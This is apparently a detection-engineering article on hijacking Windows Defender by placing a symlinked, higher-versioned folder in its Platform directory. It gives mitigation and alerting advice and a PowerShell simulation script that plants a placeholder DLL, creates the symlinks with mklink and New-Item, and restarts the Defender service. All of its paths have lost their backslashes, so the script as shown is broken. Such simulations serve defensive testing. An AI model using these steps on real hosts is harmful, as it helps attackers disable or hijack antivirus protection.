Break The Protective Shell Of Windows Defender With The Folder Redirect Technique

Summary

The article demonstrates a Windows Defender hijack method that abuses folder redirection by placing a symbolic-link directory inside the Defender Platform path and pointing it to an attacker-controlled location. By assigning the symlink folder a higher “version” number than the legitimate platform directory, Defender may select the attacker-controlled path after reboot and load its components from there. This creates opportunities for DLL side-loading, selective file deletion, or even operational disruption of the Defender service.

Investigation

The author’s workflow copies the active Defender platform folder into a temporary attacker-controlled directory, then creates a directory symlink in the Platform location (via mklink /D) using a fabricated, higher version identifier. After a reboot, Defender is observed executing from the redirected directory, enabling follow-on manipulation such as DLL hijacking or removal of binaries to interfere with Defender startup and protection.

Mitigation

Minimize risk by strictly limiting write permissions on the Windows Defender Platform directory and by monitoring for suspicious creation of symbolic links or unexpected “version-style” subfolders. Implement integrity controls for Defender binaries and alert on changes in executable paths or platform-directory selection behavior. Where feasible, apply Windows Defender Application Control (WDAC) or equivalent hardening policies to prevent unauthorized changes in protected system locations.

Response

Alert when new symbolic-link folders appear under C:\ProgramData\Microsoft\Windows Defender\Platform or when mklink is used to target that directory. Validate Defender file integrity and confirm the running binaries are sourced from the expected platform folder. If tampering is confirmed, remove the malicious symlink and restore Defender platform files from a trusted source, then restart Defender services and re-validate protections across the host.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands:
  The adversary has compromised a low‑privilege user account on the target host. Their goal is to load a malicious payload when Windows Defender starts, by redirecting the Defender “Platform” folder to a location they control. They perform the following steps:

  1. Create a staging directory (C:TMPAV) that will hold the malicious DLLs.
  2. Populate the staging directory with a crafted DLL named MpEngine.dll (the name expected by Defender).
  3. Create a directory symbolic link named C:ProgramDataMicrosoftWindows DefenderPlatform{random} that points to the staging directory, using both the native mklink utility (to trigger the Sigma rule) and PowerShell’s New‑Item (to test rule evasion).
  4. Restart the Windows Defender Service to force loading from the hijacked path.

• Regression Test Script:

  # ==============================
  #  Folder Hijacking Simulation
  # ==============================
  $defenderPlatform = "C:ProgramDataMicrosoftWindows DefenderPlatform"
  $attackerStaging = "C:TMPAV"
  $linkName = "$defenderPlatformHijackTarget"
  
  # 1. Prepare staging folder
  New-Item -Path $attackerStaging -ItemType Directory -Force | Out-Null
  
  # 2. Drop a dummy malicious DLL (placeholder)
  $dummyDll = "$attackerStagingMpEngine.dll"
  Set-Content -Path $dummyDll -Value "MALICIOUS DLL CONTENT" -Encoding ASCII
  
  # 3a. Create symlink via native mklink (triggers Sigma rule)
  cmd /c "mklink /D `"$linkName`" `"$attackerStaging`""
  
  # 3b. Create symlink via PowerShell (tests evasion)
  $psLink = "$defenderPlatformHijackTarget_PS"
  New-Item -ItemType SymbolicLink -Path $psLink -Target $attackerStaging -Force
  
  # 4. Restart Windows Defender Service (requires admin)
  # Note: This step may be blocked in a hardened environment; included for completeness.
  Restart-Service -Name "WinDefend" -Force

• Cleanup Commands:

  # Remove created symlinks and staging files
  $links = @(
      "C:ProgramDataMicrosoftWindows DefenderPlatformHijackTarget",
      "C:ProgramDataMicrosoftWindows DefenderPlatformHijackTarget_PS"
  )
  foreach ($l in $links) {
      if (Test-Path $l) { Remove-Item $l -Force }
  }
  
  $staging = "C:TMPAV"
  if (Test-Path $staging) { Remove-Item $staging -Recurse -Force }
  
  # Optionally restore Defender platform folder if needed (not required for simulation)